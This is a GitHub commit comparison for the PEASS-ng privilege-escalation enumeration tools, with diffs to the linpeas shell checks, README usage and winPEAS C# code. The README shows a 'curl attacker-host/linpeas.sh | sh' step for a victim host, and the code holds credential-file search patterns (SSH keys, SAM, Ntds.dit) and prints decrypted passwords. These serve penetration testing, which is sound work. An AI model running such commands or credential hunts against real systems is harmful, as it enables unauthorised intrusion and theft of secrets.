Compare commits

..

22 Commits

Author SHA1 Message Date
Carlos Polop
ded6f3045f Merge pull request #329 from godylockz/master
Fix Internet Explorer Enumeration
2022-12-31 18:37:08 +01:00
Carlos Polop
d20638fa7b Merge pull request #331 from AlLongley/master
Check "doas.conf" based on binary existence, not configuration files
2022-12-31 18:34:57 +01:00
Al Longley
aa69a494b4 Check "doas.conf" based on binary existence, not config 2022-12-31 18:43:14 +11:00
Carlos Polop
a4b226c16e Update linpeas_base.sh 2022-12-31 00:58:00 +01:00
godylockz
3cc49b5b9a Code Cleanup 2022-12-23 00:45:23 -05:00
godylockz
e5b9b67786 Fix IE Bug, Browser Consistency. 2022-12-23 00:45:05 -05:00
Carlos Polop
e29c9e88d5 Update CI-master_tests.yml 2022-12-21 15:32:55 +01:00
Carlos Polop
8b6ce759d0 Merge pull request #323 from ruppde/master
Update 1_system_information.sh
2022-12-20 14:26:25 +01:00
Carlos Polop
116d842158 Merge pull request #326 from Riqky/master
Update README.md to remove python2
2022-12-20 14:25:26 +01:00
Riqky
46033a7af0 Update README.md
Update python webserver to python 3 command, since python 2 is EOL.
2022-12-20 13:46:59 +01:00
Arnim Rupp
0ab4a65bab Update 1_system_information.sh
Fix false positive, Ubuntu fixed it one day earlier:

policykit-1 (0.105-20ubuntu0.18.04.6) bionic-security; urgency=medium

  * SECURITY UPDATE: Local Privilege Escalation in pkexec
    - debian/patches/CVE-2021-4034.patch: properly handle command-line
      arguments in src/programs/pkcheck.c, src/programs/pkexec.c.
    - CVE-2021-4034

 -- Marc Deslauriers <email address hidden>  Wed, 12 Jan 2022 07:34:00 -0500
2022-11-21 15:17:28 +01:00
Carlos Polop
27d954e03a Update FileAnalysis.cs 2022-11-02 18:58:53 +00:00
Carlos Polop
9416b924cb Update FileAnalysis.cs 2022-11-02 18:50:36 +00:00
Carlos Polop
6ec25656f2 Update FileAnalysis.cs 2022-11-02 18:42:29 +00:00
Carlos Polop
3039ce555d Update FileAnalysis.cs 2022-11-02 18:37:11 +00:00
Carlos Polop
d382de1cb1 Merge pull request #319 from motikan2010/fix/small-typo
Fix small typo in /parser/README.md
2022-11-02 18:28:08 +00:00
Carlos Polop
c62a8f8b54 Update App.config 2022-11-02 18:27:42 +00:00
Carlos Polop
a70b9773db Update FileAnalysis.cs 2022-11-02 18:26:18 +00:00
Carlos Polop
7a19b0968f Update README.md 2022-10-12 14:56:18 +02:00
Carlos Polop
ce002b9f33 Update README.md 2022-10-12 14:34:05 +02:00
motikan2010
1afac19979 Fix typo in /parser/README.md 2022-10-09 13:56:29 +09:00
Carlos Polop
219b1669c3 Update Beaprint.cs 2022-10-06 17:46:45 +02:00
144 changed files with 16799 additions and 16815 deletions

View File

@@ -1,10 +1,6 @@
name: CI-master_test name: CI-master_test
on: on:
pull_request:
branches:
- master
schedule: schedule:
- cron: "5 4 * * SUN" - cron: "5 4 * * SUN"

View File

@@ -22,7 +22,7 @@ curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas
```bash ```bash
# Local network # Local network
sudo python -m SimpleHTTPServer 80 #Host sudo python -m http.server 80 #Host
curl 10.10.10.10/linpeas.sh | sh #Victim curl 10.10.10.10/linpeas.sh | sh #Victim
# Without curl # Without curl
@@ -47,6 +47,12 @@ chmod +x linpeas_linux_amd64
./linpeas_linux_amd64 ./linpeas_linux_amd64
``` ```
```bash
# Execute from memory in Penelope session
# From: https://github.com/brightio/penelope
> run peass-ng
```
## Firmware Analysis ## Firmware Analysis
If you have a **firmware** and you want to **analyze it with linpeas** to **search for passwords or bad configured permissions** you have 2 main options. If you have a **firmware** and you want to **analyze it with linpeas** to **search for passwords or bad configured permissions** you have 2 main options.

View File

@@ -25,7 +25,7 @@ echo ""
print_2title "CVEs Check" print_2title "CVEs Check"
#-- SY) CVE-2021-4034 #-- SY) CVE-2021-4034
if [ `command -v pkexec` ] && stat -c '%a' $(which pkexec) | grep -q 4755 && [ "$(stat -c '%Y' $(which pkexec))" -lt "1642035600" ]; then if [ `command -v pkexec` ] && stat -c '%a' $(which pkexec) | grep -q 4755 && [ "$(stat -c '%Y' $(which pkexec))" -lt "1641942000" ]; then
echo "Vulnerable to CVE-2021-4034" | sed -${E} "s,.*,${SED_RED_YELLOW}," echo "Vulnerable to CVE-2021-4034" | sed -${E} "s,.*,${SED_RED_YELLOW},"
echo "" echo ""
fi fi

View File

@@ -105,7 +105,7 @@ fi
echo "" echo ""
#-- UI) Doas #-- UI) Doas
if [ -f "/etc/doas.conf" ] || [ "$DEBUG" ]; then if [ "$(command -v doas 2>/dev/null)" ] || [ "$DEBUG" ]; then
print_2title "Checking doas.conf" print_2title "Checking doas.conf"
doas_dir_name=$(dirname "$(command -v doas)" 2>/dev/null) doas_dir_name=$(dirname "$(command -v doas)" 2>/dev/null)
if [ "$(cat /etc/doas.conf $doas_dir_name/doas.conf $doas_dir_name/../etc/doas.conf $doas_dir_name/etc/doas.conf 2>/dev/null)" ]; then if [ "$(cat /etc/doas.conf $doas_dir_name/doas.conf $doas_dir_name/../etc/doas.conf $doas_dir_name/etc/doas.conf 2>/dev/null)" ]; then

View File

@@ -808,7 +808,7 @@ basic_net_info(){
select_nc (){ select_nc (){
#Select the correct configuration of the netcat found #Select the correct configuration of the netcat found
NC_SCAN="$FOUND_NC -v -n -z -w 1" NC_SCAN="$FOUND_NC -v -n -z -w 1"
$($FOUND_NC 127.0.0.1 65321 > /dev/null 2>&1) $($NC_SCAN 127.0.0.1 65321 > /dev/null 2>&1)
if [ $? -eq 2 ] if [ $? -eq 2 ]
then then
NC_SCAN="timeout 1 $FOUND_NC -v -n" NC_SCAN="timeout 1 $FOUND_NC -v -n"

View File

@@ -3,7 +3,7 @@
These scripts allows you to transform the output of linpeas/macpeas/winpeas to JSON and then to PDF and HTML. These scripts allows you to transform the output of linpeas/macpeas/winpeas to JSON and then to PDF and HTML.
```python3 ```python3
python3 peass2json.py </path/to/executed_peass.out> </path/to/peass.json> python3 peas2json.py </path/to/executed_peass.out> </path/to/peass.json>
python3 json2pdf.py </path/to/peass.json> </path/to/peass.pdf> python3 json2pdf.py </path/to/peass.json> </path/to/peass.pdf>
python3 json2html.py </path/to/peass.json> </path/to/peass.html> python3 json2html.py </path/to/peass.json> </path/to/peass.html>
``` ```

View File

@@ -1,5 +1,4 @@
using System.Reflection; using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following // General Information about an assembly is controlled through the following

View File

@@ -11,8 +11,8 @@ namespace winPEAS.Tests
{ {
try try
{ {
string[] args = new string[] { string[] args = new string[] {
"systeminfo", "servicesinfo", "processinfo", "applicationsinfo", "browserinfo", "debug" "systeminfo", "servicesinfo", "processinfo", "applicationsinfo", "browserinfo", "debug"
}; };
Program.Main(args); Program.Main(args);
} }

View File

@@ -3,4 +3,7 @@
<startup useLegacyV2RuntimeActivationPolicy="true"> <startup useLegacyV2RuntimeActivationPolicy="true">
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.2"/></startup> <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.2"/></startup>
<runtime>
<AppContextSwitchOverrides value="Switch.System.IO.UseLegacyPathHandling=false" />
</runtime>
</configuration> </configuration>

View File

@@ -27,8 +27,8 @@ namespace winPEAS.Checks
{ {
Beaprint.MainPrint("Current Active Window Application"); Beaprint.MainPrint("Current Active Window Application");
string title = ApplicationInfoHelper.GetActiveWindowTitle(); string title = ApplicationInfoHelper.GetActiveWindowTitle();
List<string> permsFile = PermissionsHelper.GetPermissionsFile(title, winPEAS.Checks.Checks.CurrentUserSiDs); List<string> permsFile = PermissionsHelper.GetPermissionsFile(title, Checks.CurrentUserSiDs);
List<string> permsFolder = PermissionsHelper.GetPermissionsFolder(title, winPEAS.Checks.Checks.CurrentUserSiDs); List<string> permsFolder = PermissionsHelper.GetPermissionsFolder(title, Checks.CurrentUserSiDs);
if (permsFile.Count > 0) if (permsFile.Count > 0)
{ {
Beaprint.BadPrint(" " + title); Beaprint.BadPrint(" " + title);
@@ -188,8 +188,8 @@ namespace winPEAS.Checks
foreach (Dictionary<string, string> sapp in scheduled_apps) foreach (Dictionary<string, string> sapp in scheduled_apps)
{ {
List<string> fileRights = PermissionsHelper.GetPermissionsFile(sapp["Action"], winPEAS.Checks.Checks.CurrentUserSiDs); List<string> fileRights = PermissionsHelper.GetPermissionsFile(sapp["Action"], Checks.CurrentUserSiDs);
List<string> dirRights = PermissionsHelper.GetPermissionsFolder(sapp["Action"], winPEAS.Checks.Checks.CurrentUserSiDs); List<string> dirRights = PermissionsHelper.GetPermissionsFolder(sapp["Action"], Checks.CurrentUserSiDs);
string formString = " ({0}) {1}: {2}"; string formString = " ({0}) {1}: {2}";
if (fileRights.Count > 0) if (fileRights.Count > 0)
@@ -238,8 +238,8 @@ namespace winPEAS.Checks
foreach (var driver in DeviceDrivers.GetDeviceDriversNoMicrosoft()) foreach (var driver in DeviceDrivers.GetDeviceDriversNoMicrosoft())
{ {
string pathDriver = driver.Key; string pathDriver = driver.Key;
List<string> fileRights = PermissionsHelper.GetPermissionsFile(pathDriver, winPEAS.Checks.Checks.CurrentUserSiDs); List<string> fileRights = PermissionsHelper.GetPermissionsFile(pathDriver, Checks.CurrentUserSiDs);
List<string> dirRights = PermissionsHelper.GetPermissionsFolder(pathDriver, winPEAS.Checks.Checks.CurrentUserSiDs); List<string> dirRights = PermissionsHelper.GetPermissionsFolder(pathDriver, Checks.CurrentUserSiDs);
Dictionary<string, string> colorsD = new Dictionary<string, string>() Dictionary<string, string> colorsD = new Dictionary<string, string>()
{ {

View File

@@ -169,7 +169,7 @@ namespace winPEAS.Checks
{ {
MaxRegexFileSize = Int32.Parse(parts[1]); MaxRegexFileSize = Int32.Parse(parts[1]);
} }
} }
if (string.Equals(arg, "-lolbas", StringComparison.CurrentCultureIgnoreCase)) if (string.Equals(arg, "-lolbas", StringComparison.CurrentCultureIgnoreCase))
@@ -363,8 +363,8 @@ namespace winPEAS.Checks
try try
{ {
Beaprint.GrayPrint(" - Creating disabled users list..."); Beaprint.GrayPrint(" - Creating disabled users list...");
Checks.PaintDisabledUsers = string.Join("|", User.GetMachineUsers(false, true, false, false, false)); PaintDisabledUsers = string.Join("|", User.GetMachineUsers(false, true, false, false, false));
PaintDisabledUsersNoAdministrator = Checks.PaintDisabledUsers.Replace("|Administrator", "").Replace("Administrator|", "").Replace("Administrator", ""); PaintDisabledUsersNoAdministrator = PaintDisabledUsers.Replace("|Administrator", "").Replace("Administrator|", "").Replace("Administrator", "");
} }
catch (Exception ex) catch (Exception ex)
{ {
@@ -411,7 +411,7 @@ namespace winPEAS.Checks
try try
{ {
if (RegistryHelper.GetRegValue("HKCU", "CONSOLE", "VirtualTerminalLevel") == "" && RegistryHelper.GetRegValue("HKCU", "CONSOLE", "VirtualTerminalLevel") == "") if (RegistryHelper.GetRegValue("HKCU", "CONSOLE", "VirtualTerminalLevel") == "" && RegistryHelper.GetRegValue("HKCU", "CONSOLE", "VirtualTerminalLevel") == "")
System.Console.WriteLine(@"ANSI color bit for Windows is not set. If you are execcuting this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD"); Console.WriteLine(@"ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD");
} }
catch (Exception ex) catch (Exception ex)
{ {
@@ -425,7 +425,7 @@ namespace winPEAS.Checks
{ {
if (RegistryHelper.GetRegValue("HKLM", @"SYSTEM\CurrentControlSet\Control\FileSystem", "LongPathsEnabled") != "1") if (RegistryHelper.GetRegValue("HKLM", @"SYSTEM\CurrentControlSet\Control\FileSystem", "LongPathsEnabled") != "1")
{ {
System.Console.WriteLine(@"Long paths are disabled, so the maximum length of a path supported is 260chars (this may cause false negatives when looking for files). If you are admin, you can enable it with 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD"); Console.WriteLine(@"Long paths are disabled, so the maximum length of a path supported is 260 chars (this may cause false negatives when looking for files). If you are admin, you can enable it with 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD");
IsLongPath = false; IsLongPath = false;
} }
else else

View File

@@ -10,7 +10,7 @@ using winPEAS.Info.EventsInfo.ProcessCreation;
namespace winPEAS.Checks namespace winPEAS.Checks
{ {
internal class EventsInfo : ISystemCheck internal class EventsInfo : ISystemCheck
{ {
public void PrintInfo(bool isDebug) public void PrintInfo(bool isDebug)
{ {
Beaprint.GreatPrint("Interesting Events information"); Beaprint.GreatPrint("Interesting Events information");
@@ -23,7 +23,7 @@ namespace winPEAS.Checks
PrintPowerShellEvents, PrintPowerShellEvents,
PowerOnEvents, PowerOnEvents,
}.ForEach(action => CheckRunner.Run(action, isDebug)); }.ForEach(action => CheckRunner.Run(action, isDebug));
} }
private static void PrintPowerShellEvents() private static void PrintPowerShellEvents()
{ {
@@ -91,7 +91,7 @@ namespace winPEAS.Checks
} }
var logonInfos = Logon.GetLogonInfos(lastDays); var logonInfos = Logon.GetLogonInfos(lastDays);
foreach (var info in logonInfos.LogonEventInfos) foreach (var info in logonInfos.LogonEventInfos)
{ {
Beaprint.BadPrint($" Subject User Name : {info.SubjectUserName}\n" + Beaprint.BadPrint($" Subject User Name : {info.SubjectUserName}\n" +
@@ -102,13 +102,13 @@ namespace winPEAS.Checks
$" Lm Package : {info.LmPackage}\n" + $" Lm Package : {info.LmPackage}\n" +
$" Logon Type : {info.LogonType}\n" + $" Logon Type : {info.LogonType}\n" +
$" Target User Name : {info.TargetUserName}\n" + $" Target User Name : {info.TargetUserName}\n" +
$" Target Domain Name : {info.TargetDomainName}\n" + $" Target Domain Name : {info.TargetDomainName}\n" +
$" Target Outbound User Name : {info.TargetOutboundUserName}\n" + $" Target Outbound User Name : {info.TargetOutboundUserName}\n" +
$" Target Outbound Domain Name : {info.TargetOutboundDomainName}\n"); $" Target Outbound Domain Name : {info.TargetOutboundDomainName}\n");
Beaprint.PrintLineSeparator(); Beaprint.PrintLineSeparator();
} }
if (logonInfos.NTLMv1LoggedUsersSet.Count > 0 || logonInfos.NTLMv2LoggedUsersSet.Count > 0) if (logonInfos.NTLMv1LoggedUsersSet.Count > 0 || logonInfos.NTLMv2LoggedUsersSet.Count > 0)
{ {
Beaprint.BadPrint(" NTLM relay might be possible - other users authenticate to this machine using NTLM!"); Beaprint.BadPrint(" NTLM relay might be possible - other users authenticate to this machine using NTLM!");
@@ -151,7 +151,7 @@ namespace winPEAS.Checks
{ {
var lastDays = 30; var lastDays = 30;
Beaprint.MainPrint($"Printing Explicit Credential Events (4648) for last {lastDays} days - A process logged on using plaintext credentials\n"); Beaprint.MainPrint($"Printing Explicit Credential Events (4648) for last {lastDays} days - A process logged on using plaintext credentials\n");
if (!MyUtils.IsHighIntegrity()) if (!MyUtils.IsHighIntegrity())
{ {

View File

@@ -27,7 +27,7 @@ namespace winPEAS.Checks
}.ForEach(action => CheckRunner.Run(action, isDebug)); }.ForEach(action => CheckRunner.Run(action, isDebug));
} }
private static List<CustomFileInfo> InitializeFileSearch(bool useProgramFiles=true) private static List<CustomFileInfo> InitializeFileSearch(bool useProgramFiles = true)
{ {
var files = new List<CustomFileInfo>(); var files = new List<CustomFileInfo>();
var systemDrive = $"{SearchHelper.SystemDrive}\\"; var systemDrive = $"{SearchHelper.SystemDrive}\\";
@@ -101,7 +101,7 @@ namespace winPEAS.Checks
isFileFound = Regex.IsMatch(fold, pattern, RegexOptions.IgnoreCase); isFileFound = Regex.IsMatch(fold, pattern, RegexOptions.IgnoreCase);
if (isFileFound) break; if (isFileFound) break;
} }
} }
} }
else else
{ {
@@ -118,7 +118,8 @@ namespace winPEAS.Checks
if (isFileFound) if (isFileFound)
{ {
if (!somethingFound) { if (!somethingFound)
{
Beaprint.MainPrint($"Found {searchName} Files"); Beaprint.MainPrint($"Found {searchName} Files");
somethingFound = true; somethingFound = true;
} }
@@ -132,7 +133,7 @@ namespace winPEAS.Checks
} }
} }
// there are inner sections // there are inner sections
else else
{ {
foreach (var innerFileToSearch in fileSettings.files) foreach (var innerFileToSearch in fileSettings.files)
{ {
@@ -143,7 +144,7 @@ namespace winPEAS.Checks
} }
} }
return new bool[] { false, somethingFound }; return new bool[] { false, somethingFound };
} }
@@ -154,19 +155,43 @@ namespace winPEAS.Checks
try try
{ {
Regex rgx; Regex rgx;
if (caseinsensitive) bool is_re_match = false;
rgx = new Regex(regex_str.Trim(), RegexOptions.IgnoreCase); try
else {
rgx = new Regex(regex_str.Trim()); // Use "IsMatch" because it supports timeout, if exception is thrown exit the func to avoid ReDoS in "rgx.Matches"
if (caseinsensitive)
{
is_re_match = Regex.IsMatch(text, regex_str.Trim(), RegexOptions.IgnoreCase, TimeSpan.FromSeconds(120));
rgx = new Regex(regex_str.Trim(), RegexOptions.IgnoreCase);
}
else
{
is_re_match = Regex.IsMatch(text, regex_str.Trim(), RegexOptions.None, TimeSpan.FromSeconds(120));
rgx = new Regex(regex_str.Trim());
}
}
catch (RegexMatchTimeoutException e)
{
if (Checks.IsDebug)
{
Beaprint.GrayPrint($"The regex {regex_str} had a timeout (ReDoS avoided but regex unchecked in a file)");
}
return foundMatches;
}
if (!is_re_match)
{
return foundMatches;
}
int cont = 0; int cont = 0;
foreach (Match match in rgx.Matches(text)) foreach (Match match in rgx.Matches(text))
{ {
if (cont > 4) break; if (cont > 10) break;
if (match.Value.Length < 400 && match.Value.Trim().Length > 2) if (match.Value.Length < 400 && match.Value.Trim().Length > 2)
foundMatches.Add(match.Value); foundMatches.Add(match.Value);
cont++; cont++;
} }
} }
@@ -324,12 +349,12 @@ namespace winPEAS.Checks
{ {
timer.Start(); timer.Start();
} }
try try
{ {
string text = System.IO.File.ReadAllText(f.FullPath); string text = File.ReadAllText(f.FullPath);
results = SearchContent(text, regex.regex, (bool)regex.caseinsensitive); results = SearchContent(text, regex.regex, (bool)regex.caseinsensitive);
if (results.Count > 0) if (results.Count > 0)
{ {
@@ -349,7 +374,7 @@ namespace winPEAS.Checks
timer.Stop(); timer.Stop();
TimeSpan timeTaken = timer.Elapsed; TimeSpan timeTaken = timer.Elapsed;
if (timeTaken.TotalMilliseconds > 1000) if (timeTaken.TotalMilliseconds > 20000)
Beaprint.PrintDebugLine($"\nThe regex {regex.regex} took {timeTaken.TotalMilliseconds}s in {f.FullPath}"); Beaprint.PrintDebugLine($"\nThe regex {regex.regex} took {timeTaken.TotalMilliseconds}s in {f.FullPath}");
} }
} }
@@ -405,7 +430,7 @@ namespace winPEAS.Checks
// . -> \. // . -> \.
// * -> .* // * -> .*
// add $ at the end to avoid false positives // add $ at the end to avoid false positives
var pattern = str.Replace(".", @"\.") var pattern = str.Replace(".", @"\.")
.Replace("*", @".*"); .Replace("*", @".*");
@@ -423,11 +448,11 @@ namespace winPEAS.Checks
resultsCount++; resultsCount++;
if (resultsCount > ListFileLimit) return false; if (resultsCount > ListFileLimit) return false;
// If contains undesireable string, stop processing // If contains undesireable string, stop processing
if (fileSettings.remove_path != null && fileSettings.remove_path.Length > 0) if (fileSettings.remove_path != null && fileSettings.remove_path.Length > 0)
{ {
foreach(var rem_path in fileSettings.remove_path.Split('|')) foreach (var rem_path in fileSettings.remove_path.Split('|'))
{ {
if (fileInfo.FullPath.ToLower().Contains(rem_path.ToLower())) if (fileInfo.FullPath.ToLower().Contains(rem_path.ToLower()))
return false; return false;
@@ -436,19 +461,23 @@ namespace winPEAS.Checks
if (fileSettings.type == "f") if (fileSettings.type == "f")
{ {
var colors = new Dictionary<string, string>(); var colors = new Dictionary<string, string>
colors.Add(fileInfo.Filename, Beaprint.ansi_color_bad); {
{ fileInfo.Filename, Beaprint.ansi_color_bad }
};
Beaprint.AnsiPrint($"File: {fileInfo.FullPath}", colors); Beaprint.AnsiPrint($"File: {fileInfo.FullPath}", colors);
if (!(bool)fileSettings.just_list_file) if (!(bool)fileSettings.just_list_file)
{ {
GrepResult(fileInfo, fileSettings); GrepResult(fileInfo, fileSettings);
} }
} }
else if (fileSettings.type == "d") else if (fileSettings.type == "d")
{ {
var colors = new Dictionary<string, string>(); var colors = new Dictionary<string, string>
colors.Add(fileInfo.Filename, Beaprint.ansi_color_bad); {
{ fileInfo.Filename, Beaprint.ansi_color_bad }
};
Beaprint.AnsiPrint($"Folder: {fileInfo.FullPath}", colors); Beaprint.AnsiPrint($"Folder: {fileInfo.FullPath}", colors);
// just list the directory // just list the directory
@@ -463,7 +492,7 @@ namespace winPEAS.Checks
} }
else else
{ {
// should not happen // should not happen
} }
} }
@@ -507,11 +536,11 @@ namespace winPEAS.Checks
{ {
lineGrep = SanitizeLineGrep(fileSettings.line_grep); lineGrep = SanitizeLineGrep(fileSettings.line_grep);
} }
fileContent = fileContent.Where(line => (!string.IsNullOrWhiteSpace(fileSettings.good_regex) && Regex.IsMatch(line, fileSettings.good_regex, RegexOptions.IgnoreCase)) || fileContent = fileContent.Where(line => (!string.IsNullOrWhiteSpace(fileSettings.good_regex) && Regex.IsMatch(line, fileSettings.good_regex, RegexOptions.IgnoreCase)) ||
(!string.IsNullOrWhiteSpace(fileSettings.bad_regex) && Regex.IsMatch(line, fileSettings.bad_regex, RegexOptions.IgnoreCase)) || (!string.IsNullOrWhiteSpace(fileSettings.bad_regex) && Regex.IsMatch(line, fileSettings.bad_regex, RegexOptions.IgnoreCase)) ||
(!string.IsNullOrWhiteSpace(lineGrep) && Regex.IsMatch(line, lineGrep, RegexOptions.IgnoreCase))); (!string.IsNullOrWhiteSpace(lineGrep) && Regex.IsMatch(line, lineGrep, RegexOptions.IgnoreCase)));
} }
var content = string.Join(Environment.NewLine, fileContent); var content = string.Join(Environment.NewLine, fileContent);

View File

@@ -21,7 +21,7 @@ namespace winPEAS.Checks
internal class FilesInfo : ISystemCheck internal class FilesInfo : ISystemCheck
{ {
static readonly string _patternsFileCredsColor = @"RDCMan.settings|.rdg|_history|httpd.conf|.htpasswd|.gitconfig|.git-credentials|Dockerfile|docker-compose.ymlaccess_tokens.db|accessTokens.json|azureProfile.json|appcmd.exe|scclient.exe|unattend.txt|access.log|error.log|credential|password|.gpg|.pgp|config.php|elasticsearch|kibana.|.p12|\.der|.csr|.crt|.cer|.pem|known_hosts|id_rsa|id_dsa|.ovpn|tomcat-users.xml|web.config|.kdbx|.key|KeePass.config|ntds.dir|Ntds.dit|sam|system|SAM|SYSTEM|security|software|SECURITY|SOFTWARE|FreeSSHDservice.ini|sysprep.inf|sysprep.xml|unattend.xml|unattended.xml|vnc|groups.xml|services.xml|scheduledtasks.xml|printers.xml|drives.xml|datasources.xml|php.ini|https.conf|https-xampp.conf|my.ini|my.cnf|access.log|error.log|server.xml|setupinfo|pagefile.sys|NetSetup.log|iis6.log|AppEvent.Evt|SecEvent.Evt|default.sav|security.sav|software.sav|system.sav|ntuser.dat|index.dat|bash.exe|wsl.exe"; static readonly string _patternsFileCredsColor = @"RDCMan.settings|.rdg|_history|httpd.conf|.htpasswd|.gitconfig|.git-credentials|Dockerfile|docker-compose.ymlaccess_tokens.db|accessTokens.json|azureProfile.json|appcmd.exe|scclient.exe|unattend.txt|access.log|error.log|credential|password|.gpg|.pgp|config.php|elasticsearch|kibana.|.p12|\.der|.csr|.crt|.cer|.pem|known_hosts|id_rsa|id_dsa|.ovpn|tomcat-users.xml|web.config|.kdbx|.key|KeePass.config|ntds.dir|Ntds.dit|sam|system|SAM|SYSTEM|security|software|SECURITY|SOFTWARE|FreeSSHDservice.ini|sysprep.inf|sysprep.xml|unattend.xml|unattended.xml|vnc|groups.xml|services.xml|scheduledtasks.xml|printers.xml|drives.xml|datasources.xml|php.ini|https.conf|https-xampp.conf|my.ini|my.cnf|access.log|error.log|server.xml|setupinfo|pagefile.sys|NetSetup.log|iis6.log|AppEvent.Evt|SecEvent.Evt|default.sav|security.sav|software.sav|system.sav|ntuser.dat|index.dat|bash.exe|wsl.exe";
// static readonly string _patternsFileCreds = @"RDCMan.settings;*.rdg;*_history*;httpd.conf;.htpasswd;.gitconfig;.git-credentials;Dockerfile;docker-compose.yml;access_tokens.db;accessTokens.json;azureProfile.json;appcmd.exe;scclient.exe;*.gpg$;*.pgp$;*config*.php;elasticsearch.y*ml;kibana.y*ml;*.p12$;*.cer$;known_hosts;*id_rsa*;*id_dsa*;*.ovpn;tomcat-users.xml;web.config;*.kdbx;KeePass.config;Ntds.dit;SAM;SYSTEM;security;software;FreeSSHDservice.ini;sysprep.inf;sysprep.xml;*vnc*.ini;*vnc*.c*nf*;*vnc*.txt;*vnc*.xml;php.ini;https.conf;https-xampp.conf;my.ini;my.cnf;access.log;error.log;server.xml;ConsoleHost_history.txt;pagefile.sys;NetSetup.log;iis6.log;AppEvent.Evt;SecEvent.Evt;default.sav;security.sav;software.sav;system.sav;ntuser.dat;index.dat;bash.exe;wsl.exe;unattend.txt;*.der$;*.csr$;unattend.xml;unattended.xml;groups.xml;services.xml;scheduledtasks.xml;printers.xml;drives.xml;datasources.xml;setupinfo;setupinfo.bak"; // static readonly string _patternsFileCreds = @"RDCMan.settings;*.rdg;*_history*;httpd.conf;.htpasswd;.gitconfig;.git-credentials;Dockerfile;docker-compose.yml;access_tokens.db;accessTokens.json;azureProfile.json;appcmd.exe;scclient.exe;*.gpg$;*.pgp$;*config*.php;elasticsearch.y*ml;kibana.y*ml;*.p12$;*.cer$;known_hosts;*id_rsa*;*id_dsa*;*.ovpn;tomcat-users.xml;web.config;*.kdbx;KeePass.config;Ntds.dit;SAM;SYSTEM;security;software;FreeSSHDservice.ini;sysprep.inf;sysprep.xml;*vnc*.ini;*vnc*.c*nf*;*vnc*.txt;*vnc*.xml;php.ini;https.conf;https-xampp.conf;my.ini;my.cnf;access.log;error.log;server.xml;ConsoleHost_history.txt;pagefile.sys;NetSetup.log;iis6.log;AppEvent.Evt;SecEvent.Evt;default.sav;security.sav;software.sav;system.sav;ntuser.dat;index.dat;bash.exe;wsl.exe;unattend.txt;*.der$;*.csr$;unattend.xml;unattended.xml;groups.xml;services.xml;scheduledtasks.xml;printers.xml;drives.xml;datasources.xml;setupinfo;setupinfo.bak";
private static readonly IList<string> patternsFileCreds = new List<string>() private static readonly IList<string> patternsFileCreds = new List<string>()
{ {
@@ -159,7 +159,7 @@ namespace winPEAS.Checks
{ {
string formString = " {0} ({1})\n Accessed:{2} -- Size:{3}"; string formString = " {0} ({1})\n Accessed:{2} -- Size:{3}";
Beaprint.BadPrint(string.Format(formString, cc["file"], cc["Description"], cc["Accessed"], cc["Size"])); Beaprint.BadPrint(string.Format(formString, cc["file"], cc["Description"], cc["Accessed"], cc["Size"]));
System.Console.WriteLine(""); Console.WriteLine("");
} }
} }
else else
@@ -182,7 +182,7 @@ namespace winPEAS.Checks
{ {
List<string> pwds = Unattended.ExtractUnattendedPwd(path); List<string> pwds = Unattended.ExtractUnattendedPwd(path);
Beaprint.BadPrint(" " + path); Beaprint.BadPrint(" " + path);
System.Console.WriteLine(string.Join("\n", pwds)); Console.WriteLine(string.Join("\n", pwds));
} }
} }
catch (Exception ex) catch (Exception ex)
@@ -233,11 +233,11 @@ namespace winPEAS.Checks
foreach (var site in sitelistFilesInfo.Sites) foreach (var site in sitelistFilesInfo.Sites)
{ {
Beaprint.NoColorPrint($" Share Name : {site.ShareName}"); Beaprint.NoColorPrint($" Share Name : {site.ShareName}");
PrintColored( $" User Name : {site.UserName}", !string.IsNullOrWhiteSpace(site.UserName)); PrintColored($" User Name : {site.UserName}", !string.IsNullOrWhiteSpace(site.UserName));
PrintColored( $" Server : {site.Server}", !string.IsNullOrWhiteSpace(site.Server)); PrintColored($" Server : {site.Server}", !string.IsNullOrWhiteSpace(site.Server));
PrintColored( $" Encrypted Password : {site.EncPassword}", !string.IsNullOrWhiteSpace(site.EncPassword)); PrintColored($" Encrypted Password : {site.EncPassword}", !string.IsNullOrWhiteSpace(site.EncPassword));
PrintColored( $" Decrypted Password : {site.DecPassword}", !string.IsNullOrWhiteSpace(site.DecPassword)); PrintColored($" Decrypted Password : {site.DecPassword}", !string.IsNullOrWhiteSpace(site.DecPassword));
Beaprint.NoColorPrint( $" Domain Name : {site.DomainName}\n" + Beaprint.NoColorPrint($" Domain Name : {site.DomainName}\n" +
$" Name : {site.Name}\n" + $" Name : {site.Name}\n" +
$" Type : {site.Type}\n" + $" Type : {site.Type}\n" +
$" Relative Path : {site.RelativePath}\n"); $" Relative Path : {site.RelativePath}\n");
@@ -291,7 +291,7 @@ namespace winPEAS.Checks
const string rootDirectory = "Root directory"; const string rootDirectory = "Root directory";
const string runWith = "Run command"; const string runWith = "Run command";
var colors = new Dictionary<string, string>(); var colors = new Dictionary<string, string>();
new List<string> new List<string>
{ {
linpeas, linpeas,
@@ -410,7 +410,7 @@ namespace winPEAS.Checks
{ {
try try
{ {
string pattern_color = "[cC][rR][eE][dD][eE][nN][tT][iI][aA][lL]|[pP][aA][sS][sS][wW][oO][rR][dD]"; string pattern_color = "[cC][rR][eE][dD][eE][nN][tT][iI][aA][lL]|[pP][aA][sS][sS][wW][oO][rR][dD]";
var validExtensions = new HashSet<string> var validExtensions = new HashSet<string>
{ {
".cnf", ".cnf",
@@ -431,7 +431,7 @@ namespace winPEAS.Checks
}; };
Beaprint.MainPrint("Looking for possible password files in users homes"); Beaprint.MainPrint("Looking for possible password files in users homes");
